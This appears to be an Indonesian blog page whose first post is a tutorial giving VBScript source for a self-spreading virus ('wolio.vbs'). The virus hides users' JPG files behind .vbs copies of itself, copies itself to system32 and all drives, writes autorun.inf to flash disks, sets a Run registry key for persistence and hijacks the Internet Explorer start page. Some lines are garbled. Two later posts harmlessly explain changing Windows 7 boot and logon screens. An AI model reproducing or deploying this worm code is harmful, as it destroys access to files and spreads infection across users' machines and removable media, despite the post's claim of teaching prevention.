Cara Membuat Virus Menggunakan Visual Basic (VB)

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer

Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas

Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.

Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan

Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.

Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m

Sumber

Read More

Cara mudah mengganti Boot Screen pada Win 7

Oke pada postingan ane kali ini ane mau share tennang cara merubah boot screen pada win 7, cara ini sebenarnya sudah banyak beredar di internet, ane cuma pengen mengulangnya saja agar kalian tidak lupa.

Okeh Untuk merubah boot scrren windows 7 tersebut, silakan ikuti langkah-langkahnya berikut ini:

Silakan download aplikasinya disini

Setelah didownload aplikasinya, extract dengan winrar. Kalau belum punya aplikasi winrar, silakan download juga disini.

Setelah di extract file-nya, silakan jalankan aplikasinya (Portable). Sebelumnya saya jelaskan dulu
komponen-komponen atau bagian-bagian dari aplikasi ini. Pada bagian Booting and Resuming, terdapat beberapa bagian lagi yaitu Animation, Background dan Message. Pada bagian animation, ada lagi 3 pilihan di dalamnya yaitu Default, Static Image dan animation. Untuk tiga pilihan ini, silakan tentukan pilihanmu yang disesuaikan dengan gambar atau image yang akan teman-teman gunakan sebagai boot screen windows 7. Dan format gambar yang disediakan itu harus dalam format bitmap (*.bmp). Dan yang akan saya

contohkan disini adalah dengan menggunakan pilihan animation static image.

Ok lanjut, pada kolom animation, silakan pilih Static Image dan silakan cari image yang berformat bitmap (*.bmp) untuk mengganti boot screen windows 7 ini.

Kemudian pada kolom message 1, silakan tentukan sendiri pesan yang akan dimunculkan pada bagian "Microsoft Corporation" saat boot screen itu muncul. Terus pada message 2-nya, silakan tentukan juga pesan yang akan ditampilkan. Tapi kalo teman-teman cuman mau merubah image-nya saja, langsung saja di klik Apply untuk menerapkan perubahan yang sudsh dilakukan. Sebagai gambaran singkat, silakan perhatikan gambar berikut ini dan perhatikan apa-apa yang telah saya tentukan.

 

Windowns 7 Boot Updater

Kalau sudah, langsung saja pilih Apply dan coba restart komputer Anda. Perhatikan apa perubahan yang terjadi. Kalau sudah berubah, berarti Anda sudah berhasil Merubah Boot Screen Pada Windows 7.

Read More

cara mengganti logon screen pada win 7

helo gan ini adalah postingan pertama ane dan hari ini ane mau sharing cara mengganti logon screen pada win 7 menggunakan software yang bernama "Logon Screen", software ini mudah cara penggunaanya.. ok terlebih dahulu Download Softwarenya di sini gratis.

cara menggunakannya gampang sekali pertama buka Logon Screen.exe nanti tampilannya muncul kaya gambar di bawah ini

selanjutnya kita klik BROWSE untuk memilih file gambar yg kita ingin jadikan gambar di logon screen

setelah itu akan muncul window baru seperti ini

kemudian pilih gambar yang ingin di jadikan logon screen, selanjutnya klik OPEN liat gambar di bawah

Lalu kelik Apply

Terakhir Restar Dan lihat Hasilnya sendiri.. : D

catatan :
 *ukuran file gambar maksimal 286kb..
 **jika ukuran gambar yg anda gunakan melebihi ukuran max maka akan muncul window    peringatan jika anda ingin melanjutkan tekan "yes" dan jika anda ingin mengganti gambarnya dengan ukuran file yg lebih kecil tekan "no"

Read More